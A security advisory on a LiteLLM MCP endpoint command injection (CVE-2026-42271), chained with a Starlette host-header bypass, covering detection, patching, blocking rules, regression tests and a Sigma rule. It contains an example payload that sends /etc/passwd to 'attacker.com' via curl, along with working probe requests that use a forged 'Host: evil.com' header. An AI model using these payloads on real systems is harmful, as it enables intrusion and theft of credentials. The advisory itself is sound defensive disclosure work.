Executive Summary
CVE-2026-42271 is a command injection vulnerability in BerriAI LiteLLM's Model Context Protocol (MCP) preview endpoints that allows authenticated attackers to execute arbitrary OS commands on the host server. When chained with CVE-2026-48710 — a host header bypass in Starlette — the authentication requirement is eliminated entirely, yielding unauthenticated remote code execution. CISA added CVE-2026-42271 to its Known Exploited Vulnerabilities (KEV) catalog on June 8, 2026, confirming active in-the-wild exploitation; any organization running LiteLLM as an AI API gateway should treat patching as an emergency.
1. What Is This Vulnerability?
LiteLLM is an open-source proxy/gateway that unifies calls to dozens of large language model providers (OpenAI, Anthropic, Cohere, Azure, etc.) under a single API. It is widely deployed in enterprises, AI startups, and research environments to manage model routing, cost tracking, and API key security.
The Vulnerable Endpoints
Two endpoints introduced as part of LiteLLM's MCP server preview feature were shipped without adequate input validation:
POST /mcp-rest/test/connectionPOST /mcp-rest/test/tools/list
These endpoints were designed to let users test a new MCP server configuration before saving it. Both accepted a full server descriptor in the request body — including command, args, and env fields used by the stdio transport. The proxy then directly spawned that command as a subprocess on the host, inheriting the full privileges of the LiteLLM process. No sandboxing, no allow-listing, no validation.
// Malicious request body — any command can be injected
POST /mcp-rest/test/connection
{
"transport": "stdio",
"command": "bash",
"args": ["-c", "curl http://attacker.com/$(cat /etc/passwd | base64)"],
"env": {}
}
Any holder of even the lowest-privilege LiteLLM API key could trigger this to run arbitrary OS commands as whatever user the proxy process runs as (often root in containerized deployments).
Attack Vector
The base vulnerability (CVSS 8.7) requires a valid API key. However, Horizon3.ai discovered it can be chained with CVE-2026-48710, a "BadHost" host header validation bypass in the Starlette ASGI framework (≤ 1.0.0). Starlette's TrustedHostMiddleware can be tricked into accepting requests with a crafted Host: header, bypassing the check that enforces authentication in LiteLLM deployments. The combined exploit chain:
- Send a malformed
Host:header to skip authentication (CVE-2026-48710) - Hit the unprotected MCP test endpoint with a command-injection payload (
CVE-2026-42271) - Achieve unauthenticated RCE with no credentials required
Real-World Impact
Threat actors actively exploiting this chain are targeting stored LLM provider API keys (OpenAI, Anthropic, Cohere, AWS Bedrock, etc.) accessible to the LiteLLM proxy process. With OS-level access, attackers can:
- Exfiltrate all model provider API credentials and rotate keys to lock out the victim
- Harvest training data or proprietary prompts stored in the gateway
- Move laterally into connected AI infrastructure and downstream services
- Deploy persistent reverse shells or cryptominers on the host
2. Who Is Affected?
| Component | Vulnerable Versions | Fixed Version |
|---|---|---|
| BerriAI LiteLLM | 1.74.2 – 1.83.6 | 1.83.7+ |
| Starlette (for unauthenticated chain) | ≤ 1.0.0 | 1.0.1+ |
At highest risk: any deployment that:
- Exposes LiteLLM's admin or proxy port to the internet or a wide internal network
- Runs LiteLLM with elevated privileges (root, or a service account with broad IAM permissions)
- Stores provider API keys as environment variables or in LiteLLM's database
- Uses the MCP server preview feature (enabled by default since v1.74)
Self-hosted instances are far more exposed than managed deployments. If you run LiteLLM on Kubernetes, ECS, or a VPS — especially with an internet-facing load balancer — assume you are a target.
3. How to Detect It (Testing)
Manual Testing Steps
Step 1: Verify your LiteLLM version
# If running via pip
pip show litellm | grep Version
# If running in Docker
docker inspect <container_id> | grep -i "litellm"
# or
curl http://localhost:4000/health | python3 -m json.tool
Step 2: Check Starlette version (for the unauthenticated chain)
pip show starlette | grep Version
# Vulnerable if version ≤ 1.0.0
Step 3: Probe the MCP test endpoints (with a valid API key — safe payload)
curl -s -X POST http://your-litellm-host:4000/mcp-rest/test/connection \
-H "Authorization: Bearer YOUR_API_KEY" \
-H "Content-Type: application/json" \
-d '{"transport":"stdio","command":"id","args":[],"env":{}}' \
| grep -i "uid\|root\|www-data"
If the response contains OS-level user info (e.g., uid=0(root)), the system is vulnerable.
Step 4: Test host header bypass (without API key)
curl -s -X POST http://your-litellm-host:4000/mcp-rest/test/connection \
-H "Host: evil.com" \
-H "Content-Type: application/json" \
-d '{"transport":"stdio","command":"id","args":[],"env":{}}' \
| grep -iE "uid|errno|not found"
If this returns command output rather than a 401/403, the unauthenticated chain is exploitable.
Automated Scanning
Nuclei template (from community/ProjectDiscovery):
nuclei -u http://your-litellm-host:4000 -tags litellm,cve-2026-42271
Vulert (dependency-based):
# Upload your requirements.txt or package-lock.json at vulert.com/abom
# Will flag litellm<1.83.7 and starlette<=1.0.0 automatically
Snyk CLI:
snyk test --package-manager=pip
# Look for: SNYK-PYTHON-LITELLM-CVE202642271
Code Review Checklist
For teams maintaining LiteLLM forks or reviewing upstream code:
- Search for
subprocess.Popen,subprocess.run,os.system,os.popenin MCP-related route handlers - Verify
/mcp-rest/*endpoints enforce authentication middleware before any subprocess calls - Confirm
commandandargsfields in MCP configs are validated against an allowlist — not passed directly to subprocess - Check that
TrustedHostMiddlewarein Starlette is configured withraise_on_err=Trueandallowed_hostsis explicitly set - Audit environment variable handling — ensure
envfield cannot inject sensitive vars into spawned processes
4. How to Fix It (Mitigation)
Step-by-Step Remediation
For pip/virtualenv installs:
pip install --upgrade "litellm>=1.83.7" "starlette>=1.0.1"
# Restart the proxy process
systemctl restart litellm # or your service manager equivalent
For Docker deployments:
# Update your docker-compose.yml or Dockerfile
# image: ghcr.io/berriai/litellm:main-v1.83.7 (or latest)
docker pull ghcr.io/berriai/litellm:main-latest
docker-compose down && docker-compose up -d
For Kubernetes (Helm):
helm upgrade litellm berriai/litellm \
--set image.tag=main-v1.83.7 \
--reuse-values
Immediate Workaround (if patching is not immediately possible)
Block the vulnerable endpoints at your reverse proxy or API gateway before doing anything else:
Nginx:
# Add inside your litellm server block
location ~ ^/mcp-rest/test/ {
deny all;
return 403;
}
AWS ALB (via WAF Rule):
{
"Name": "BlockLiteLLMMCPTest",
"Priority": 1,
"Statement": {
"ByteMatchStatement": {
"SearchString": "/mcp-rest/test/",
"FieldToMatch": {"UriPath": {}},
"PositionalConstraint": "STARTS_WITH",
"TextTransformations": [{"Priority": 0, "Type": "NONE"}]
}
},
"Action": {"Block": {}},
"VisibilityConfig": {...}
}
Caddy:
respond /mcp-rest/test/* 403
Code Fix Example
For teams who maintain LiteLLM forks, the safe pattern for MCP stdio subprocess calls is:
# BEFORE (vulnerable): direct subprocess spawn from user input
import subprocess
def test_mcp_connection(config: dict):
proc = subprocess.Popen(
[config["command"]] + config.get("args", []),
env=config.get("env"),
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
return proc.communicate()
# AFTER (safe): strict allowlist + no dynamic command construction
import subprocess
import shlex
ALLOWED_COMMANDS = {"npx", "uvx", "node", "python3"}
def test_mcp_connection(config: dict):
command = config.get("command", "")
# Validate against allowlist
if command not in ALLOWED_COMMANDS:
raise ValueError(f"Command '{command}' is not permitted")
# Use a list — never shell=True with user input
args = [command] + [shlex.quote(a) for a in config.get("args", [])]
proc = subprocess.Popen(
args,
env=None, # never pass raw user-supplied env
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
return proc.communicate(timeout=10)
Configuration Hardening
- Restrict LiteLLM process privileges: Run as a dedicated low-privilege user, never as root.
- Set explicit
allowed_hostsin Starlette: Inlitellm_config.yaml, configuretrusted_host_middlewarewith your domain. - Rotate all stored API keys immediately if you were running a vulnerable version exposed to any network.
- Enable LiteLLM's audit logging to capture all API key usage and detect anomalous traffic.
5. How to Test the Fix (Validation)
Regression Test Scenarios
- Scenario A: Send the same malicious MCP stdio payload with a valid API key → expect HTTP 403 or an error indicating the command is not allowlisted, no subprocess spawned.
- Scenario B: Send the BadHost exploit chain (no API key, crafted
Host:header) → expect HTTP 401 Unauthorized, not command output. - Scenario C: Legitimate MCP test with an approved command (e.g.,
npx) → expect normal connection test response, confirming no functionality regression for valid workflows.
Security Test Cases
Test Case 1: Verify command injection is blocked
- Precondition: LiteLLM upgraded to ≥ 1.83.7
- Steps:
POST /mcp-rest/test/connectionwith{"transport":"stdio","command":"id","args":[],"env":{}} - Expected Result: HTTP 403 or validation error — no OS command output in response
Test Case 2: Verify unauthenticated chain is broken
- Precondition: Starlette upgraded to ≥ 1.0.1
- Steps: Same request with
Host: evil.comand noAuthorizationheader - Expected Result: HTTP 401 Unauthorized — host header bypass fails
Test Case 3: Verify legitimate MCP preview still works
- Precondition: Valid API key, command is
npx(in allowlist) - Steps:
POST /mcp-rest/test/connectionwith a valid npx-based MCP config - Expected Result: Connection test succeeds with proper MCP response
Automated Tests
import requests
LITELLM_HOST = "http://localhost:4000"
VALID_API_KEY = "sk-your-test-key"
def test_command_injection_blocked():
"""CVE-2026-42271 regression test: command injection must be rejected"""
payload = {"transport": "stdio", "command": "id", "args": [], "env": {}}
r = requests.post(
f"{LITELLM_HOST}/mcp-rest/test/connection",
headers={"Authorization": f"Bearer {VALID_API_KEY}"},
json=payload,
timeout=5
)
assert r.status_code in (400, 403, 422), f"Expected blocked, got {r.status_code}"
assert "uid=" not in r.text, "OS command output found in response — still vulnerable!"
print("PASS: Command injection blocked")
def test_unauthenticated_chain_blocked():
"""CVE-2026-48710 + CVE-2026-42271 chain: unauthenticated request must be rejected"""
payload = {"transport": "stdio", "command": "id", "args": [], "env": {}}
r = requests.post(
f"{LITELLM_HOST}/mcp-rest/test/connection",
headers={"Host": "evil.com"}, # BadHost bypass attempt
json=payload,
timeout=5
)
assert r.status_code == 401, f"Expected 401, got {r.status_code}"
print("PASS: Unauthenticated chain blocked")
if __name__ == "__main__":
test_command_injection_blocked()
test_unauthenticated_chain_blocked()
6. Prevention & Hardening
Best Practices
- Treat AI API gateways as high-value targets. LiteLLM holds the keys to your entire LLM spend and data pipeline. Apply the same hardening posture you'd apply to a secrets manager.
- Never expose LiteLLM's admin port to the public internet. Place it behind a VPN or internal network boundary. Use a dedicated ingress for the proxy API only.
- Implement zero-trust network segmentation. The LiteLLM host should only be able to reach LLM provider endpoints — not your internal databases, code repositories, or other services.
- Rotate provider API keys on a schedule, and immediately after any suspected compromise. Use short-lived credentials with IAM roles where possible (AWS Bedrock, Vertex AI, Azure AD).
- Pin dependency versions in production and run
pip-auditorsafety checkin CI/CD to catch vulnerable transitive dependencies like Starlette. - Audit MCP server configurations — only allow commands from a strict allowlist; treat the MCP stdio transport as an execution vector, not a config field.
Monitoring & Detection
Signs of active exploitation to watch for in logs and SIEM:
# Suspicious patterns in LiteLLM access logs
POST /mcp-rest/test/connection (from unexpected IPs or at high frequency)
POST /mcp-rest/test/tools/list (same)
Requests with unusual Host: headers not matching your domain
API key usage spikes or usage from new geographic locations
Outbound connections from the LiteLLM host to unknown IPs (data exfiltration)
Recommended detection rule (Sigma format):
title: LiteLLM MCP Test Endpoint Probing (CVE-2026-42271)
status: experimental
logsource:
category: webserver
detection:
selection:
request_uri|startswith: '/mcp-rest/test/'
request_method: 'POST'
condition: selection
level: high
tags:
- cve.2026-42271
Set up alerts for any POST to /mcp-rest/test/ paths — legitimate MCP configuration testing should be infrequent and predictable. A burst of such requests is a strong indicator of scanning or exploitation attempts.
References
- CVE Entry: CVE-2026-42271 — NVD
- CISA KEV Addition: CISA Adds Two Known Exploited Vulnerabilities — June 8, 2026
- Exploit Chain Research: CVE-2026-42271 Chained with CVE-2026-48710 — Horizon3.ai
- The Hacker News Coverage: LiteLLM Flaw CVE-2026-42271 Exploited in the Wild
- Help Net Security: LiteLLM vulnerability under active attack, CISA warns
- Daily Security Review: LiteLLM CVE-2026-42271: AI API Keys at Risk
- LiteLLM Patch Release: LiteLLM v1.83.7 Changelog — GitHub
- Vulert Analysis: LiteLLM CVE-2026-42271 RCE